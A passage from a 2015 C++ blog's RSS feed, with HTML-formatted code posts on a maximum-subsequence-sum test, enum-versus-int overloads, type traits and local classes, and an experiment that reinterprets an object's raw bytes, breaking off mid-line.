/>&nbsp;&nbsp;&nbsp;&nbsp;printf("algorithm&nbsp;of&nbsp;enumerate:&nbsp;max&nbsp;subsequence&nbsp;starts&nbsp;from&nbsp;%d,&nbsp;length:%d,&nbsp;max&nbsp;result:%d\n",&nbsp;begin,&nbsp;max_len,&nbsp;max);<br />&nbsp;&nbsp;&nbsp;&nbsp;print_array(ary&nbsp;+&nbsp;begin,&nbsp;max_len);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;max;<br />}<br /><br /><span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>*&nbsp;ary&nbsp;=&nbsp;NULL;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;len&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(argc&nbsp;&gt;&nbsp;2)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;argc&nbsp;-&nbsp;1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ary&nbsp;=&nbsp;<span style="color: #0000FF; ">new</span>&nbsp;<span style="color: #0000FF; ">int</span>[len];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;1;&nbsp;i&nbsp;&lt;&nbsp;argc;&nbsp;++i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ary[i&nbsp;-&nbsp;1]&nbsp;=&nbsp;atoi(argv[i]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(2&nbsp;==&nbsp;argc)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;atoi(argv[1]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ary&nbsp;=&nbsp;<span style="color: #0000FF; ">new</span>&nbsp;<span style="color: #0000FF; ">int</span>[len];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;timeval&nbsp;tv;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gettimeofday(&amp;tv,&nbsp;NULL);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;srandom(tv.tv_usec);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;len;&nbsp;++i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ary[i]&nbsp;=&nbsp;(random()&nbsp;%&nbsp;20)&nbsp;-&nbsp;10;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;tmp_ary[]&nbsp;=&nbsp;{-4,&nbsp;6,&nbsp;-5,&nbsp;3,&nbsp;-3,&nbsp;4,&nbsp;-2};<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;sizeof(tmp_ary)&nbsp;/&nbsp;sizeof(tmp_ary[0]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ary&nbsp;=&nbsp;<span style="color: #0000FF; ">new</span>&nbsp;<span style="color: #0000FF; ">int</span>[len];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ary,&nbsp;tmp_ary,&nbsp;sizeof(tmp_ary));<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;print_array(ary,&nbsp;len);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;ret1&nbsp;=&nbsp;calc_max_sum1(ary,&nbsp;len);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;ret2&nbsp;=&nbsp;calc_max_sum2(ary,&nbsp;len);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;max&nbsp;=&nbsp;calc_max_sum_by_enumerate(ary,&nbsp;len);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(ret1&nbsp;!=&nbsp;max)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("algorithm&nbsp;1&nbsp;fails,&nbsp;result&nbsp;is&nbsp;%d,&nbsp;but&nbsp;the&nbsp;right&nbsp;answer&nbsp;is&nbsp;%d\n",&nbsp;ret1,&nbsp;max);<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(ret2&nbsp;!=&nbsp;max)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("algorithm&nbsp;2&nbsp;fails,&nbsp;result&nbsp;is&nbsp;%d,&nbsp;but&nbsp;the&nbsp;right&nbsp;answer&nbsp;is&nbsp;%d\n",&nbsp;ret2,&nbsp;max);<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("algorithm&nbsp;succeeds,&nbsp;max&nbsp;result:%d\n",&nbsp;max);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;delete&nbsp;[]&nbsp;ary;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br />}</div><img src ="http://www.blogjava.net/bacoo/aggbug/423336.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-03-10 10:52 <a href="http://www.blogjava.net/bacoo/archive/2015/03/10/423336.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>trial for EnumVsInt TemplateForTypeTraits LocalClass</title><link>http://www.blogjava.net/bacoo/archive/2015/03/06/423249.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Fri, 06 Mar 2015 09:51:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/03/06/423249.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/423249.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/03/06/423249.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/423249.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/423249.html</trackback:ping><description><![CDATA[<div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->#include&nbsp;&lt;iostream&gt;<br />#include&nbsp;&lt;typeinfo&gt;<br />#include&nbsp;&lt;stdio.h&gt;<br /><br /><span style="color: #0000FF; ">using</span>&nbsp;<span style="color: #0000FF; ">namespace</span>&nbsp;std;<br /><br /><span style="color: #0000FF; ">enum</span>&nbsp;EM&nbsp;{ONE,&nbsp;TWO};<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;func(<span style="color: #0000FF; ">int</span>&nbsp;i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;endl;<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;func(EM&nbsp;i)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;endl;<br />}<br /><br /><span style="color: #808080; ">///////////////////////////////////////////////////</span><span style="color: #008000; ">/</span><span style="color: #808080; "><br /></span><br />template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #0000FF; ">void</span>&nbsp;trait(T&nbsp;t)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;endl;<br />}<br /><br />template&nbsp;&lt;typename&nbsp;R,&nbsp;typename&nbsp;C,&nbsp;typename&nbsp;Arg1&gt;<br /><span style="color: #0000FF; ">void</span>&nbsp;trait_detail(R&nbsp;(C::*class_member_pointer)(Arg1))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;endl;<br />}<br /><br /><span style="color: #808080; ">///////////////////////////////////////////////////</span><span style="color: #008000; ">/</span><span style="color: #808080; "><br /></span><br /><span style="color: #0000FF; ">class</span>&nbsp;A&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;func()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;endl;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;A&amp;&nbsp;reflect()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;endl;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;*<span style="color: #0000FF; ">this</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />};<br /><br />A*&nbsp;func_provide_local_class(<span style="color: #0000FF; ">int</span>&nbsp;x&nbsp;=&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">class</span>&nbsp;LocalA:&nbsp;<span style="color: #0000FF; ">public</span>&nbsp;A&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LocalA(<span style="color: #0000FF; ">int</span>&nbsp;x):&nbsp;m_x(x)&nbsp;{};<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;func()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;endl;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;A&amp;&nbsp;reflect()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;*<span style="color: #0000FF; ">this</span>;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">private</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;m_x;<br />&nbsp;&nbsp;&nbsp;&nbsp;};<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;A*&nbsp;pa&nbsp;=&nbsp;<span style="color: #0000FF; ">new</span>&nbsp;LocalA(x);<br />&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;typeid(pa).name()&nbsp;&lt;&lt;&nbsp;endl;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;pa;<br />}<br /><br /><span style="color: #808080; ">///////////////////////////////////////////////////</span><span style="color: #008000; ">/</span><span style="color: #808080; "><br /></span><br /><span style="color: #0000FF; ">class</span>&nbsp;B&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;func(<span style="color: #0000FF; ">double</span>&amp;&nbsp;d)&nbsp;=&nbsp;0;<br />};<br /><br /><br /><span style="color: #808080; ">///////////////////////////////////////////////////</span><span style="color: #008000; ">/</span><span style="color: #808080; "><br /></span><br /><span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">enum&nbsp;is&nbsp;also&nbsp;a&nbsp;specific&nbsp;type</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;EM&nbsp;em&nbsp;=&nbsp;ONE;<br />&nbsp;&nbsp;&nbsp;&nbsp;func(argc);<br />&nbsp;&nbsp;&nbsp;&nbsp;func(em);<br />&nbsp;&nbsp;&nbsp;&nbsp;trait(em);<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("--------------------------------------------\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">trait&nbsp;in&nbsp;two&nbsp;ways</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;trait(&amp;B::func);<br />&nbsp;&nbsp;&nbsp;&nbsp;trait_detail(&amp;B::func);<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("--------------------------------------------\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">trial&nbsp;for&nbsp;local&nbsp;class,&nbsp;for&nbsp;more&nbsp;information&nbsp;see&nbsp;as&nbsp;</span><span style="color: #008000; text-decoration: underline; ">http://www.geeksforgeeks.org/local-class-in-c/</span><span style="color: #008000; ">&nbsp;and&nbsp;</span><span style="color: #008000; text-decoration: underline; ">http://www.cppblog.com/mzty/archive/2007/05/24/24766.html</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;A*&nbsp;pa&nbsp;=&nbsp;func_provide_local_class();<br />&nbsp;&nbsp;&nbsp;&nbsp;pa-&gt;func();<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("--------------------------------------------\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">there's&nbsp;no&nbsp;way&nbsp;to&nbsp;use&nbsp;local&nbsp;class&nbsp;externally</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;trait(pa);<br />&nbsp;&nbsp;&nbsp;&nbsp;trait(pa-&gt;reflect());<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("--------------------------------------------\n");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br />}</div>=================== run result ====================<br /><div>void func(int)</div><div>void func(EM)</div><div>void trait(T) [with T = EM]</div><div>--------------------------------------------</div><div>void trait(T) [with T = int (B::*)(double&amp;)]</div><div>void trait_detail(R (C::*)(Arg1)) [with R = int, C = B, Arg1 = double&amp;]</div><div>--------------------------------------------</div><div>P1A</div><div>virtual void func_provide_local_class(int)::LocalA::func()</div><div>--------------------------------------------</div><div>void trait(T) [with T = A*]</div><div>void trait(T) [with T = A]</div><div>--------------------------------------------</div><div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/423249.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-03-06 17:51 <a href="http://www.blogjava.net/bacoo/archive/2015/03/06/423249.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>reinterpret class pointer</title><link>http://www.blogjava.net/bacoo/archive/2015/03/04/423195.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 04 Mar 2015 07:34:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/03/04/423195.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/423195.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/03/04/423195.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/423195.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/423195.html</trackback:ping><description><![CDATA[<div>#include &lt;iostream&gt;</div><div>#include &lt;stdlib.h&gt;</div><div>#include &lt;string&gt;</div><div>#include &lt;fstream&gt;</div><div>#include &lt;sstream&gt;</div><div>#include &lt;stdint.h&gt;</div><div>#include &lt;pthread.h&gt;</div><div>#include &lt;vector&gt;</div><div>#include &lt;map&gt;</div><div>#include &lt;set&gt;</div><div></div><div>using namespace std;</div><div></div><div>#define INIT(x) x = (typeof(x))(long)(&amp;x)</div><div></div><div>class Data {</div><div>public:</div><div>&nbsp; &nbsp; virtual ~Data() {};</div><div>&nbsp; &nbsp; Data() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(b);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(d);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(p);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(c);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(l);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; bool b;</div><div>&nbsp; &nbsp; double d;</div><div>&nbsp; &nbsp; int* p;</div><div>&nbsp; &nbsp; char c;</div><div>&nbsp; &nbsp; long l;</div><div></div><div>&nbsp; &nbsp; bool operator==(const Data&amp; another) const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return another.b == b &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.d == d &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.p == p &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.c == c &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.l == l;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; bool operator!=(const Data&amp; another) const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return !(*this == another);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void Print() const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Data::b:%d\n", b);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Data::d:%f\n", d);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Data::p:%p\n", p);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Data::c:%c(%d)\n", c, (unsigned char)c);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Data::l:%ld\n", l);</div><div>&nbsp; &nbsp; }</div><div>};</div><div></div><div>class Base {</div><div>public:</div><div>&nbsp; &nbsp; Base() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(p);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(c);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; i1 = c + random();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; i2 = c + random();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(d);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; u3 = c + random();</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; virtual ~Base() {};</div><div></div><div>&nbsp; &nbsp; void* p;</div><div>&nbsp; &nbsp; char c;</div><div>&nbsp; &nbsp; int i1:1;</div><div>&nbsp; &nbsp; int i2:2;</div><div>&nbsp; &nbsp; double d;</div><div>&nbsp; &nbsp; unsigned int u3:3;</div><div></div><div>&nbsp; &nbsp; bool operator==(const Base&amp; another) const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return another.p &nbsp;== p &nbsp;&amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.c &nbsp;== c &nbsp;&amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.i1 == i1 &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.i2 == i2 &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.d &nbsp;== d &nbsp;&amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.u3 == u3;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; bool operator!=(const Base&amp; another) const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return !(*this == another);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; virtual void Print() const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Base::p:%p\n", p);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Base::c:%c(%d)\n", c, (unsigned char)c);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Base::i1:%d\n", i1);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Base::i2:%d\n", i2);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Base::d:%f\n", d);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Base::u3:%u\n", u3);</div><div>&nbsp; &nbsp; }</div><div>};</div><div></div><div>class Derive: public Base {</div><div>public:</div><div>&nbsp; &nbsp; Derive() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(i);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(c);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; u1 = i + random();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; u2 = i + random();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; u3 = i + random();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; u4 = i + random();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(b);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(ui);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(uf);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; INIT(d);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; int i;</div><div>&nbsp; &nbsp; char c;</div><div>&nbsp; &nbsp; unsigned u1:10;</div><div>&nbsp; &nbsp; unsigned u2:10;</div><div>&nbsp; &nbsp; Data dt;</div><div>&nbsp; &nbsp; unsigned u3:10;</div><div>&nbsp; &nbsp; unsigned u4:2;</div><div>&nbsp; &nbsp; bool b;</div><div>&nbsp; &nbsp; union {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; int ui;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; float uf;</div><div>&nbsp; &nbsp; };</div><div>&nbsp; &nbsp; double d;</div><div></div><div>&nbsp; &nbsp; virtual void Print() const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; Base::Print();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::i:%d\n", i);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::c:%c(%d)\n", c, (unsigned char)c);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::u1:%d\n", u1);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::u2:%d\n", u2);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; dt.Print();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::u3:%d\n", u3);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::u4:%d\n", u4);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::b:%d\n", b);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::ui:%d\n", ui);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::uf:%f\n", uf);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("Derive::d:%f\n", d);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("\n");</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; bool operator==(const Derive&amp; another) const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return Base::operator ==(another) &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.i &nbsp;== i &nbsp;&amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.c &nbsp;== c &nbsp;&amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.u1 == u1 &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.u2 == u2 &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.dt == dt &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.u3 == u3 &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.u4 == u4 &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.b &nbsp;== b &nbsp;&amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.ui == ui &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.uf == uf &amp;&amp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;another.d &nbsp;== d;</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; bool operator!=(const Derive&amp; another) const {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return !(*this == another);</div><div>&nbsp; &nbsp; }</div><div>};</div><div></div><div>int main(int argc, char* argv[]) {</div><div>&nbsp; &nbsp; printf("sizeof(Data):%lu\n", sizeof(Data));</div><div>&nbsp; &nbsp; printf("sizeof(Base):%lu\n", sizeof(Base));</div><div>&nbsp; &nbsp; printf("sizeof(Derive):%lu\n", sizeof(Derive));</div><div>&nbsp; &nbsp; printf("\n");</div><div></div><div>&nbsp; &nbsp; Derive drv;</div><div>&nbsp; &nbsp; {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; string s((const char*)&amp;drv, sizeof(Derive));</div><div>&nbsp; &nbsp; &nbsp; &nbsp; const Derive* p = reinterpret_cast&lt;const Derive*&gt;(s.c_str());</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (*p == drv) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cout &lt;&lt; "*EQUAL*" &lt;&lt; 